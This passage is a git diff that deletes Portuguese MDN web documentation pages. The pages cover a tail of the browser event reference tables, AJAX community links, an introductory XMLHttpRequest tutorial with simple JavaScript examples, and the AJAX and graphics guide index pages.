{{event("mozbrowserdocumentfirstpaint")}} Firefox OS Browser API-specificSent when a new paint occurs on any document in the browser {{HTMLElement("iframe")}}.
{{event("mozbrowsererror")}} Firefox OS Browser API-specificSent when an error occured while trying to load a content within a browser iframe
{{event("mozbrowserfindchange")}} Firefox OS Browser API-specificSent when a search operation is performed on the browser {{HTMLElement("iframe")}} content (see HTMLIFrameElement search methods.)
{{event("mozbrowserfirstpaint")}} Firefox OS Browser API-specificSent when the {{HTMLElement("iframe")}} paints content for the first time (this doesn't include the initial paint from about:blank.)
{{event("mozbrowsericonchange")}} Firefox OS Browser API-specificSent when the favicon of a browser iframe changes.
{{event("mozbrowserlocationchange")}} Firefox OS Browser API-specificSent when an browser iframe's location changes.
{{event("mozbrowserloadend")}} Firefox OS Browser API-specificSent when the browser iframe has finished loading all its assets.
{{event("mozbrowserloadstart")}} Firefox OS Browser API-specificSent when the browser iframe starts to load a new page.
{{event("mozbrowsermanifestchange")}} Firefox OS Browser API-specificSent when a the path to the app manifest changes, in the case of a browser {{HTMLElement("iframe")}} with an open web app embedded in it.
{{event("mozbrowsermetachange")}} Firefox OS Browser API-specificSent when a {{htmlelement("meta")}} elelment is added to, removed from or changed in the browser {{HTMLElement("iframe")}}'s content.
{{event("mozbrowseropensearch")}} Firefox OS Browser API-specificSent when a link to a search engine is found.
{{event("mozbrowseropentab")}} Firefox OS Browser API-specificSent when a new tab is opened within a browser {{HTMLElement("iframe")}} as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.)
{{event("mozbrowseropenwindow")}} Firefox OS Browser API-specificSent when {{domxref("window.open()")}} is called within a browser iframe.
{{event("mozbrowserresize")}} Firefox OS Browser API-specificSent when the browser {{HTMLElement("iframe")}}'s window size has changed.
{{event("mozbrowserscroll")}} Firefox OS Browser API-specificSent when the browser {{HTMLElement("iframe")}} content scrolls.
{{event("mozbrowserscrollareachanged")}} Firefox OS Browser API-specificSent when the available scrolling area  in the browser {{HTMLElement("iframe")}} changes. This can occur on resize and when the page size changes (while loading for example.)
{{event("mozbrowserscrollviewchange")}} Firefox OS Browser API-specificSent when asynchronous scrolling (i.e. APCZ) starts or stops.
{{event("mozbrowsersecuritychange")}} Firefox OS Browser API-specificSent when the SSL state changes within a browser iframe.
{{event("mozbrowserselectionstatechanged")}} Firefox OS Browser API-specificSent when the text selected inside the browser {{HTMLElement("iframe")}} content changes. Note that this is deprecated, and newer implementations use {{event("mozbrowsercaretstatechanged")}} instead.
{{event("mozbrowsershowmodalprompt")}} Firefox OS Browser API-specificSent when {{domxref("window.alert","alert()")}}, {{domxref("window.confirm","confirm()")}} or {{domxref("window.prompt","prompt()")}} are called within a browser iframe
{{event("mozbrowsertitlechange")}} Firefox OS Browser API-specificSent when the document.title changes within a browser iframe.
{{event("mozbrowserusernameandpasswordrequired")}} Firefox OS Browser API-specificSent when an HTTP authentification is requested.
{{event("mozbrowservisibilitychange")}} Firefox OS Browser API-specificSent when the visibility state of the current browser iframe {{HTMLElement("iframe")}} changes, for example due to a call to {{domxref("HTMLIFrameElement.setVisible","setVisible()")}}.
{{event("MozGamepadButtonDown")}} To be specifiedA gamepad button is pressed down.
{{event("MozGamepadButtonUp")}} To be specifiedA gamepad button is released.
{{event("MozMousePixelScroll")}} {{deprecated_inline}} Mozilla specificThe wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)
{{event("MozOrientation")}} {{deprecated_inline}} Mozilla specificFresh data is available from an orientation sensor (see deviceorientation).
{{event("MozScrolledAreaChanged")}}{{domxref("UIEvent")}}Mozilla specificThe document view has been scrolled or resized.
{{event("moztimechange")}} Mozilla specificThe time of the device has been changed.
MozTouchDown {{deprecated_inline}} Mozilla specificA touch point is placed on the touch surface (use touchstart instead).
MozTouchMove {{deprecated_inline}} Mozilla specificA touch point is moved along the touch surface (use touchmove instead).
MozTouchUp {{deprecated_inline}} Mozilla specificA touch point is removed from the touch surface (use touchend instead).
{{event("alerting")}}{{domxref("CallEvent")}}To be specifiedThe correspondent is being alerted (his/her phone is ringing).
{{event("busy")}}{{domxref("CallEvent")}}To be specifiedThe line of the correspondent is busy.
{{event("callschanged")}}{{domxref("CallEvent")}}To be specifiedA call has been added or removed from the list of current calls.
onconnected {{event("connected")}}{{domxref("CallEvent")}}To be specifiedA call has been connected.
{{event("connecting")}}{{domxref("CallEvent")}}To be specifiedA call is about to connect.
{{event("delivered")}}{{domxref("SMSEvent")}}To be specifiedAn SMS has been successfully delivered.
{{event("dialing")}}{{domxref("CallEvent")}}To be specifiedThe number of a correspondent has been dialed.
{{event("disabled")}} Firefox OS specificWifi has been disabled on the device.
{{event("disconnected")}}{{domxref("CallEvent")}}To be specifiedA call has been disconnected.
{{event("disconnecting")}}{{domxref("CallEvent")}}To be specifiedA call is about to disconnect.
{{event("enabled")}} Firefox OS specificWifi has been enabled on the device.
{{event("error_(Telephony)","error")}}{{domxref("CallEvent")}}To be specifiedAn error occurred.
{{event("held")}}{{domxref("CallEvent")}}To be specifiedA call has been held.
{{event("holding")}}{{domxref("CallEvent")}}To be specifiedA call is about to be held.
{{event("incoming")}}{{domxref("CallEvent")}}To be specifiedA call is being received.
{{event("received")}}{{domxref("SMSEvent")}}To be specifiedAn SMS has been received.
{{event("resuming")}}{{domxref("CallEvent")}}To be specifiedA call is about to resume.
{{event("sent")}}{{domxref("SMSEvent")}}To be specifiedAn SMS has been sent.
{{event("statechange")}}{{domxref("CallEvent")}}To be specifiedThe state of a call has changed.
{{event("statuschange")}} Firefox OS specificThe status of the Wifi connection changed.
{{event("overflow")}}{{domxref("UIEvent")}}Mozilla specificAn element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with overflow != visible).
{{event("smartcard-insert")}} Mozilla specificA smartcard has been inserted.
{{event("smartcard-remove")}} Mozilla specificA smartcard has been removed.
{{event("stkcommand")}} Firefox OS specificThe STK Proactive Command is issued from ICC.
{{event("stksessionend")}} Firefox OS specificThe STK Session is terminated by ICC.
text Mozilla SpecificA generic composition event occurred.
{{event("touchenter")}}{{domxref("TouchEvent")}}Touch Events Removed 
{{event("touchleave")}}{{domxref("TouchEvent")}}Touch Events Removed 
{{event("underflow")}}{{domxref("UIEvent")}}Mozilla specificAn element is no longer overflowed by its content (only works for elements styled with overflow != visible).
uploadprogress {{deprecated_inline}}{{domxref("ProgressEvent")}}Mozilla SpecificUpload is in progress (see {{event("progress")}}).
-

{{event("ussdreceived")}}

-
 Firefox OS specificA new USSD message is received
{{event("voicechange")}} Firefox OS specificThe {{domxref("MozMobileConnection.voice")}} object changes values.
- -

Eventos específicos da Mozilla

- -
-

Nota: esses eventos nunca são expostos ao conteúdo da Web e só podem ser utilizados no contexto de conteúdo do Chrome.

-
- -

Eventos de XUL

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
{{event("broadcast")}} XULAn observer noticed a change to the attributes of a watched broadcaster.
{{event("CheckboxStateChange")}} XULThe state of a checkbox has been changed either by a user action or by a script (useful for accessibility).
close XULThe close button of the window has been clicked.
{{event("command")}} XULAn element has been activated.
{{event("commandupdate")}} XULA command update occurred on a commandset element.
{{event("DOMMenuItemActive")}} XULA menu or menuitem has been hovered or highlighted.
{{event("DOMMenuItemInactive")}} XULA menu or menuitem is no longer hovered or highlighted.
{{event("popuphidden")}}PopupEventXULA menupopup, panel or tooltip has been hidden.
{{event("popuphiding")}}PopupEventXULA menupopup, panel or tooltip is about to be hidden.
{{event("popupshowing")}}PopupEventXULA menupopup, panel or tooltip is about to become visible.
{{event("popupshown")}}PopupEventXULA menupopup, panel or tooltip has become visible.
{{event("RadioStateChange")}} XULThe state of a radio has been changed either by a user action or by a script (useful for accessibility).
{{event("ValueChange")}} XULThe value of an element has changed (a progress bar for example, useful for accessibility).
- -

Enventos específicos de extras

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
MozSwipeGesture Addons specificA touch point is swiped across the touch surface
MozMagnifyGestureStart Addons specificTwo touch points start to move away from each other.
MozMagnifyGestureUpdate Addons specificTwo touch points move away from each other (after a MozMagnifyGestureStart).
MozMagnifyGesture Addons specificTwo touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).
MozRotateGestureStart Addons specificTwo touch points start to rotate around a point.
MozRotateGestureUpdate Addons specificTwo touch points rotate around a point (after a MozRotateGestureStart).
MozRotateGesture Addons specificTwo touch points rotate around a point (after a sequence of MozRotateGestureUpdate).
MozTapGesture Addons specificTwo touch points are tapped on the touch surface.
MozPressTapGesture Addons specificA "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).
MozEdgeUIGesture Addons specificA touch point is swiped across the touch surface to invoke the edge UI (Win8 only).
MozAfterPaint Addons specificContent has been repainted.
DOMPopupBlocked Addons specificA popup has been blocked
DOMWindowCreated Addons specificA window has been created.
DOMWindowClose Addons specificA window is about to be closed.
DOMTitleChanged Addons specifcThe title of a window has changed.
DOMLinkAdded Addons specifcA link has been added a document.
DOMLinkRemoved Addons specifcA link has been removed inside from a document.
DOMMetaAdded Addons specificA meta element has been added to a document.
DOMMetaRemoved Addons specificA meta element has been removed from a document.
DOMWillOpenModalDialog Addons specificA modal dialog is about to open.
DOMModalDialogClosed Addons specificA modal dialog has been closed.
DOMAutoComplete Addons specificThe content of an element has been auto-completed.
DOMFrameContentLoaded Addons specificThe frame has finished loading (but not its dependent resources).
AlertActive Addons specificA notification element is shown.
AlertClose Addons specificA notification element is closed.
fullscreen Addons specificBrowser fullscreen mode has been entered or left.
sizemodechange Addons specificWindow has entered/left fullscreen mode, or has been minimized/unminimized.
MozEnteredDomFullscreen Addons specificDOM fullscreen mode has been entered.
SSWindowClosing Addons specificThe session store will stop tracking this window.
SSTabClosing Addons specificThe session store will stop tracking this tab.
SSTabRestoring Addons specificA tab is about to be restored.
SSTabRestored Addons specificA tab has been restored.
SSWindowStateReady Addons specificA window state has switched to "ready".
SSWindowStateBusy Addons specificA window state has switched to "busy".
TabOpen Addons specificA tab has been opened.
TabClose Addons specificA tab has been closed.
TabSelect Addons specificA tab has been selected.
TabShow Addons specificA tab has been shown.
TabHide Addons specificA tab has been hidden.
TabPinned Addons specificA tab has been pinned.
TabUnpinned Addons specificA tab has been unpinned.
- -

Eventos específicos da ferramenta do programador

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
CssRuleViewRefreshed devtools specificThe "Rules" view of the style inspector has been updated.
CssRuleViewChanged devtools specificThe "Rules" view of the style inspector has been changed.
CssRuleViewCSSLinkClicked devtools specificA link to a CSS file has been clicked in the "Rules" view of the style inspector.
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/guide/ajax/community/index.html b/files/pt-pt/web/guide/ajax/community/index.html deleted file mode 100644 index 438baadb13..0000000000 --- a/files/pt-pt/web/guide/ajax/community/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Comunidade -slug: Web/Guide/AJAX/Community -tags: - - AJAX -translation_of: Web/Guide/AJAX/Community -original_slug: Web/Guide/AJAX/Comunidade ---- -

Se conhece listas de discussão úteis, grupos de notícias, fóruns, ou outras comunidades relacionadas com AJAX, interligue-os aqui.

- -

Recursos Ajax

- -

Ajax - Conferências e Cursos

- -
    -
  • skillsmatter.com: cursos e eventos de JavaScript, Ajax e Tecnologias Reversas Ajax
  • -
  • telerik.com: um fórum da comunidade ativo para Ajax
  • -
  • community.tableau.com: fórum de apoio da comunidade e cursos disponíveis para Ajax
  • -
  • codementor.io: plataforma social com fóruns e tutoriais de Ajax
  • -
  • lynda.com: tutoriai disponíveis para aprender o essencial do AjaxInterwiki links
  • -
- -

{{ languages( { "ja": "ja/AJAX/Community", "fr": "fr/AJAX/Communaut\u00e9" } ) }}

diff --git a/files/pt-pt/web/guide/ajax/getting_started/index.html b/files/pt-pt/web/guide/ajax/getting_started/index.html deleted file mode 100644 index f57095e504..0000000000 --- a/files/pt-pt/web/guide/ajax/getting_started/index.html +++ /dev/null @@ -1,306 +0,0 @@ ---- -title: Primeiros Passos -slug: Web/Guide/AJAX/Getting_Started -tags: - - AJAX - - API - - Avançado - - JavaScript - - Mecânica da Web - - XMLHttpRequest -translation_of: Web/Guide/AJAX/Getting_Started -original_slug: Web/Guide/AJAX/Como_começar ---- -

Este artigo guia-o através do essencial do AJAX e oferece-lhe dois exemplos práticos simples para poder começar.

- -

O que é AJAX?

- -

AJAX (JavaScript Assíncrono e XML) em poucas palavras, é a utilização do objeto XMLHttpRequest para comunicar com os servidores. Este pode enviar e receber informação em vários formatos, incluindo JSON, XML, HTML e ficheiros de texto. A característica mais atraente do AJAX é a sua natureza 'assíncrona', o que significa que este pode comunicar com o servidor, trocar dados, e atualizar a página sem ter que recarregar a página.

- -

As duas principais funcionalidades do AJAX são as seguintes:

- -
    -
  • Efetuar pedidos ao servidor sem ter de recarregar a página
  • -
  • Receber e trabalhar com dados a partir do servidor
  • -
- -

Passo 1 - Como efetuar um pedido de HTTP

- -

Para fazer uma requisição HTTP ao servidor usando JavaScript, você precisa de uma instância de uma classe que disponibilize essa funcionalidade. Tal classe foi primeiro introduzida no Internet Explorer sob a forma de um objecto ActiveX chamado XMLHTTP. Depois, o Mozilla, o Safari e outros browsers fizeram o mesmo, implementando uma classe de nome XMLHttpRequest que suporta os métodos e as propriedades do objecto ActiveX original da Microsoft.

- -

Por isso, para criar uma instância (objeto) da classe pretendida compatível com multiplos navegadores, você pode fazer:

- -
if (window.XMLHttpRequest) { // Mozilla, Safari, ...
-    http_request = new XMLHttpRequest();
-} else if (window.ActiveXObject) { // IE
-    http_request = new ActiveXObject("Microsoft.XMLHTTP");
-}
-
-
- -

(só a título de exemplo, o código acima é uma versão simplificada do código a ser usado para a criação de uma instância XMLHTTP. Para um exemplo mais "vida real", dê uma olhada ao 3º passo deste artigo.)

- -

Algumas versões de alguns browsers Mozilla não irão funcionar bem se a resposta do servidor não possuir um cabeçalho mime-type XML. Para satisfazer isto, você pode usar uma chamada extra a um método para ultrapassar o cabeçalho enviado pelo servidor, só no caso de não ser no formato text/xml.

- -
http_request = new XMLHttpRequest();
-http_request.overrideMimeType('text/xml');
-
- -

A próxima coisa a ser feita é decidir o que quer fazer após receber a resposta do servidor ao seu pedido. Nesta etapa só precisa de dizer ao objecto pedido HTTP que função JavaScript irá processar a resposta. Isto é feito definindo a propriedade onreadystatechange do objeto ao nome da função JavaScript que pretende utilizar, por exemplo:

- -

http_request.onreadystatechange = NomedaFunção;

- -

Note-se que não existem chaves após o nome da função e não são passados parâmetros. Também, em vez de dar um nome a função, você pode usar a técnica JavaScript de definir funções na hora (chamadas funções anônimas) e definir as ações que vão processar a resposta logo, por exemplo:

- -
http_request.onreadystatechange = function(){
-    // processar resposta do servidor
-};
-
- -

Em seguida, após ter declarado o que vai acontecer mal receba a resposta, você precisa de consumar o pedido. Precisa de chamar os métodos open() e send() da classe pedido HTTP, por exemplo:

- -
http_request.open('GET', 'http://www.dominio.com.br/arquivo.extensao', true);
-http_request.send(null);
-
- -
    -
  • O primeiro parâmetro da chamada do método open() é o método pedido HTML – GET, POST, HEAD ou outro método qualquer que queira usar e que seja suportado pelo seu servidor. Mantenha o nome do método em maiúsculas para obedecer às normas HTTP senão certos browsers (como o Firefox) podem não processar o pedido. Para obter mais informação sobre os possíveis métodos pedido HTTP pode dar uma olhadela em W3C specs
  • -
  • O segundo parâmetro é a URL da página que está a pedir. Como medida de segurança, não pode efectuar pedidos de páginas de domínios externos. Certifique-se que usa o nome exacto do domínio em todas as suas páginas ou irá receber um erro "Permissão Negada" quando efectua uma chamada open(). Um erro comum é aceder ao seu domínio através de domínio.tld ao mesmo tempo que tenta chamar páginas com www.domínio.tld.
  • -
  • O terceiro parâmetro define se o pedido é assíncrono. Se TRUE, a execução da função JavaScript irá continuar enquanto que a resposta do servidor ainda não foi recebida. Isto é o A de AJAX.
  • -
- -

O parâmetro do método send() pode ser costituido por quaisquer dados que pretenda enviar ao servidor ao enviar (POST) o pedido. Os dados devem estar sob a forma de uma linha de texto de pergunta, tipo:

- -

name=value&anothername=othervalue&so=on

- -

ou em vários outros formatos, incluindo JSON, SOAP, etc.

- -

Note-se que se pretende enviar (POST) dados, você deve alterar o tipo MIME do pedido usando a seguinte linha:

- -
http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-
- -

De outra forma o servidor irá ignorar os dados (post).

- -

Pode-se também colocar o charset desejado assim:

- -
http_request.setRequestHeader('Content-Type',
-                           "application/x-www-form-urlencoded; charset=iso-8859-1");
-
- -

Outro ponto importante é controle do cache, pois caso haja necessidadde de reenviar a consulta, pode ser que o objeto retorne o que está no cache do navegador. Para evitar esse tipo de transtorno as linhas abaixo eliminam essas possibilidades:

- -
 http_request.setRequestHeader("Cache-Control",
-                               "no-store, no-cache, must-revalidate");
-http_request.setRequestHeader("Cache-Control",
-                              "post-check=0, pre-check=0");
-http_request.setRequestHeader("Pragma", "no-cache");
-
- -

Passo 2 - Manipular a resposta do servidor

- -

Lembre-se que quando estava a enviar o pedido, você providenciou o nome de uma função JavaScript que é criada para lidar com a resposta.

- -

http_request.onreadystatechange = nameOfTheFunction;

- -

Vamos a ver o que é que esta função deve fazer. Primeiro, a função precisa de verificar o estado do pedido. Se o estado possui o valor 4, isso significa que a totalidade da resposta do servidor foi recebida e que pode continuar a processá-la à vontade.

- -
if (http_request.readyState == 4) {
-    // everything is good, the response is received
-} else {
-    // still not ready
-}
-
- -

A lista completa dos valores readyState é a seguinte:

- -
    -
  • 0 (não inicializado)
  • -
  • 1 (a carregar)
  • -
  • 2 (carregado)
  • -
  • 3 (interativo)
  • -
  • 4 (completo)
  • -
- -

(Source)

- -

A próxima coisa a verificar é o código do estado da resposta HTTP do servidor. Todos os códigos possíveis estão listados na página W3C. Para os nossos objectivos nós só estamos interessados na resposta 200 OK.

- -
if (http_request.status == 200) {
-    // perfect!
-} else {
-    // there was a problem with the request,
-    // for example the response may be a 404 (Not Found)
-    // or 500 (Internal Server Error) response codes
-}
-
- -

Depois de verificar o estado do pedido e o código do estado HTTP da resposta, compete-lhe a si fazer aquilo que quer fazer com os dados que o servidor lhe enviou. Tem duas opções para aceder a esses dados:

- -
    -
  • http_request.responseText – irá devolver a resposta do servidor como uma linha de texto
  • -
  • http_request.responseXML – irá devolver a resposta do servidor como um objecto XMLDocument que pode percorrer usando as funções DOM de JavaScript.
  • -
- -

 

- -

Passo 3 – Um exemplo simples

- -

Vamos agora pôr tudo junto e efectuar um simples pedido HTTP. O nosso JavaScript vai pedir um documento HTML, teste.html, que contém o texto "Sou um teste." e então vamos alert() os conteúdos do ficheiro teste.html.

- -
<script type="text/javascript" language="javascript">
-
-    var http_request = false;
-
-    function makeRequest(url) {
-
-        http_request = false;
-
-        if (window.XMLHttpRequest) { // Mozilla, Safari,...
-            http_request = new XMLHttpRequest();
-            if (http_request.overrideMimeType) {
-                http_request.overrideMimeType('text/xml');
-                // See note below about this line
-            }
-        } else if (window.ActiveXObject) { // IE
-            try {
-                http_request = new ActiveXObject("Msxml2.XMLHTTP");
-            } catch (e) {
-                try {
-                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
-                } catch (e) {}
-            }
-        }
-
-        if (!http_request) {
-            alert('Giving up :( Cannot create an XMLHTTP instance');
-            return false;
-        }
-        http_request.onreadystatechange = alertContents;
-        http_request.open('GET', url, true);
-        http_request.send(null);
-
-    }
-
-    function alertContents() {
-
-        if (http_request.readyState == 4) {
-            if (http_request.status == 200) {
-                alert(http_request.responseText);
-            } else {
-                alert('There was a problem with the request.');
-            }
-        }
-
-    }
-</script>
-<span
-    style="cursor: pointer; text-decoration: underline"
-    onclick="makeRequest('test.html')">
-        Make a request
-</span>
-
- -

Neste exemplo:

- -
    -
  • O utilizador clicka no atalho "efectuar pedido" no browser;
  • -
  • Isto chama a função makeRequest() com um parâmetro -- o nome teste.html de um ficheiro HTML no mesmo directório;
  • -
  • O pedido é feito e então (onreadystatechange) a execução é passada a alertContents();
  • -
  • alertContents() verifica se a resposta foi recebida e se é um OK e então alerta (alert()) os conteúdos do ficheiro test.html.
  • -
- -

Você pode testar o exemplo aqui e pode ver o ficheiro de teste aqui.

- -
Nota: Se você está enviando uma solicitação para um pedaço de código que retornará XML, ao invés de um arquivo XML estático, é necessário definir alguns cabeçalhos de resposta se a sua página deve trabalhar com o Internet Explorer, além de Mozilla. Se você não definir cabeçalho Content-Type: application / xml, o IE irá lançar um erro JavaScript, "Objeto esperado", após a linha onde você tentar acessar um elemento XML..
- -
Nota 2: Se você não definir cabeçalho Cache-Control: no-cache o navegador armazenará em cache a resposta e jamais voltará a submeter o pedido, tornando a depuração "desafiadora". Também é possível acrescentar um parâmetro GET adicional sempre diferente, como o timestamp ou um número aleatório (veja bypassing the cache).
- -
Nota 3: Se a variável httpRequest é utilizada globalmente, funções concorrentes chamando makeRequest () podem sobrescrever o outro, causando uma condição de corrida. Declarando o httpRequest variável local para um closure contendo as funções AJAX impede a condição de corrida.
- -
Nota 4: Caso ocorra um erro de comunicação (tal como a queda de do servidor web), uma exceção será lançada no método onreadystatechange quando o campo status for acessado. Tenha a certeza de envolver sua declaração if..then dentro de um bloco try...catch. (Veja: {{ Bug(238559) }}).
- -

Passo 4 – Trabalhar com a resposta XML

- -

No exemplo anterior, após termos recebido a resposta ao pedido HTTP, nós usamos a propriedade reponseText do objecto de pedido e continha os conteúdos do ficheiro test.html. Agora vamos experimentar a propriedade responseXML.

- -

Antes de tudo, vamos criar um documento XML válido que vamos pedir mais à frente. O documento (test.xml) contém o seguinte:

- -

 

- -
<?xml version="1.0" ?>
-<root>
-    I'm a test.
-</root>
-
- -

No guião só precisamos de alterar a linha do pedido com:

- -
...
-onclick="makeRequest('test.xml')">
-...
-
- -

Então em alertContents() nós precisamos de substituir a linha de alerta (alert(http_request.responseText);) com:

- -
var xmldoc = http_request.responseXML;
-var root_node = xmldoc.getElementsByTagName('root').item(0);
-alert(root_node.firstChild.data);
-
- -

Este código pega o objeto XMLDocument obtido por responseXML e utiliza métodos DOM para acessar alguns dados contidos no documento XML. Você pode ver o test.xml aqui e o script de teste atualizado aqui.

- -

Categorias

- -

Interwiki Language Links

- -

Passo 5 – Tabalhar com dados

- -

Finalmente, vamos enviar algum dado para o servidor e obter a resposta. Desta vez, nosso JavaScript solicitará um página dinâmica (test.php)  que receberá os dados que enviamos e retornará um string computada - "Hello, [user data]!" - visualizada através de alert().

- -

Primeiro, vamos adicionar uma text box em nosso HTML de modo que o usuário possa digitar o seu nome:

- -
<label>Your name:
-  <input type="text" id="ajaxTextbox" />
-</label>
-<span id="ajaxButton" style="cursor: pointer; text-decoration: underline">
-  Make a request
-</span>
- -

Vamos, também, adicionar uma linha para nosso manipulador de eventos obter os dados do usuário da text box e enviá-lo para função makeRequest() juntamente com a URL do nosso script do lado do servidor (server-side):

- -
document.getElementById("ajaxButton").onclick = function() {
-      var userName = document.getElementById("ajaxTextbox").value;
-      makeRequest('test.php',userName);
-  };
- -

Precisamos modificar makeRequest () para aceitar os dados do usuário e passá-lo para o servidor. Vamos mudar o método de requisição de GET para POST, e incluir nossos dados como um parâmetro na chamada para httpRequest.send():

- -
function makeRequest(url, userName) {
-
-    ...
-
-    httpRequest.onreadystatechange = alertContents;
-    httpRequest.open('POST', url);
-    httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-    httpRequest.send('userName=' + encodeURIComponent(userName));
-  }
-
- -

A função alertContents() pode ser escrita da mesma forma que se encontrava no Passo 3 para alertar (alert()) nossa string computada,  se isso for tudo o que o servidor retorna. No entanto, vamos dizer que  o servidor irá retornar tanto a sequência computada como o dados original do usuário. Portanto, se o usuário digitou "Jane" na text box, a resposta do servidor ficaria assim:

- -

{"userData":"Jane","computedString":"Hi, Jane!"}

- -

Para utilizar estes dados dentro de alertContents(), nós não podemos simplesmente exibir com alert()  a propriedade responseText. Temos que analisar (parse it)  computedString a propriedade que queremos:

- -
function alertContents() {
-    if (httpRequest.readyState === 4) {
-      if (httpRequest.status === 200) {
-        var response = JSON.parse(httpRequest.responseText);
-        alert(response.computedString);
-    } else {
-      alert('There was a problem with the request.');
-    }
-}
- -

Para mais métodos DOM, certifique-se que consulta os documentos sobre a implementação de DOM da Mozilla

diff --git a/files/pt-pt/web/guide/ajax/index.html b/files/pt-pt/web/guide/ajax/index.html deleted file mode 100644 index d994ea7b96..0000000000 --- a/files/pt-pt/web/guide/ajax/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: AJAX -slug: Web/Guide/AJAX -tags: - - AJAX - - DOM - - JSON - - JavaScript - - Referências - - XML - - XMLHttRequest -translation_of: Web/Guide/AJAX ---- -

 

- -
Primeiros Passos - -

Uma introdução ao AJAX

-
- -
-

JavaScript Assíncrono e XML, enquanto não uma tecnologia em si, é um termo criado em 2005 por Jesse James Garret, que descreve uma "nova" abordagem para utilizar uma série de tecnologias existentes em conjunto, incluindo HTML ou XHTML, Cascading Style Sheets, JavaScript, Document Object Model, XML, XSLT e o objeto XMLHttpRequest.
- Quando estas tecnologias são combinadas no modelo AJAX, as aplicações da Web são capazes de efetuar atualizações incrementais e rápidas na interface do utilizador sem recarregar toda a página. Isto torna a aplicação mais rápida e mais responsiva para as ações do do utilizador.

-
- -

Although X in Ajax stands for XML, JSON is used more than XML nowadays because of its many advantages such as being lighter and a part of JavaScript. Both JSON and XML are used for packaging information in Ajax model.

- -
-
-

Documentação

- -
-
Primeiros Passos
-
This article guides you through the Ajax basics and gives you two simple hands-on examples to get you started.
-
Utilizar a API XMLHttpRequest
-
The XMLHttpRequest API is the core of Ajax. This article will explain how to use some Ajax techniques, like: - -
-
API Fetch
-
The Fetch API provides an interface for fetching resources. It will seem familiar to anyone who has used {{domxref("XMLHTTPRequest")}}, but this API provides a more powerful and flexible feature set.
-
Eventos de envio do servidor
-
Traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server. With server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page. These incoming messages can be treated as Events + data inside the web page. See also: Using server-sent events.
-
Pure-Ajax navigation example
-
This article provides a working (minimalist) example of a pure-Ajax website composed only of three pages.
-
Enviar e Receber Dados Binário
-
The responseType property of the XMLHttpRequest object can be set to change the expected response type from the server. Possible values are the empty string (default), "arraybuffer", "blob", "document", "json", and "text". The response property will contain the entity body according to responseType, as an ArrayBuffer, Blob, Document, JSON, or string. This article will show some Ajax I/O techniques.
-
XML
-
The Extensible Markup Language (XML) is a W3C-recommended general-purpose markup language for creating special-purpose markup languages. It is a simplified subset of SGML, capable of describing many different kinds of data. Its primary purpose is to facilitate the sharing of data across different systems, particularly systems connected via the Internet.
-
JXON
-
JXON stands for lossless Javascript XML Object Notation, it is a generic name by which is defined the representation of Javascript object trees (JSON) using XML.
-
Analisar e serializar XML
-
How to parse an XML document from a string, a file or via javascript and how to serialize XML documents to strings, Javascript Object trees (JXON) or files.
-
XPath
-
XPath stands for XML Path Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an XML document. As well as this, it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.
-
A API FileReader
-
The FileReader API lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using File or Blob objects to specify the file or data to read. File objects may be obtained from a FileList object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's DataTransfer object, or from the mozGetAsFile() API on an HTMLCanvasElement.
-
HTML no XMLHttpRequest
-
The W3C XMLHttpRequest specification adds HTML parsing support to XMLHttpRequest, which originally supported only XML parsing. This feature allows Web apps to obtain an HTML resource as a parsed DOM using XMLHttpRequest.
-
Outros recursos
-
Outros recursos Ajax que poderão ser úteis.
-
- -

Ver Todos...

- -

Consulte também

- -
-
Alternate Ajax Techniques
-
Most articles on Ajax have focused on using XMLHttp as the means to achieving such communication, but Ajax techniques are not limited to just XMLHttp. There are several other methods.
-
Ajax: A New Approach to Web Applications
-
Jesse James Garrett, of adaptive path, wrote this article in February 2005, introducing Ajax and its related concepts.
-
A Simpler Ajax Path
-
"As it turns out, it's pretty easy to take advantage of the XMLHttpRequest object to make a web app act more like a desktop app while still using traditional tools like web forms for collecting user input."
-
Ajax Mistakes
-
Alex Bosworth has written this article outlining some of the mistakes Ajax application developers can make.
-
Tutorial with examples.
-
 
-
XMLHttpRequest specification
-
W3C Working draft
-
-
- - -
- -

{{ListSubpages}}

diff --git a/files/pt-pt/web/guide/graphics/index.html b/files/pt-pt/web/guide/graphics/index.html deleted file mode 100644 index 3a809c989a..0000000000 --- a/files/pt-pt/web/guide/graphics/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Gráficos na Web -slug: Web/Guide/Graphics -tags: - - 2D - - 3D - - Canvas - - HTML5 - - SVG - - Tela - - Web - - WebGL - - WebRTC - - graficos -translation_of: Web/Guide/Graphics -original_slug: Web/Guide/Gráficos ---- -

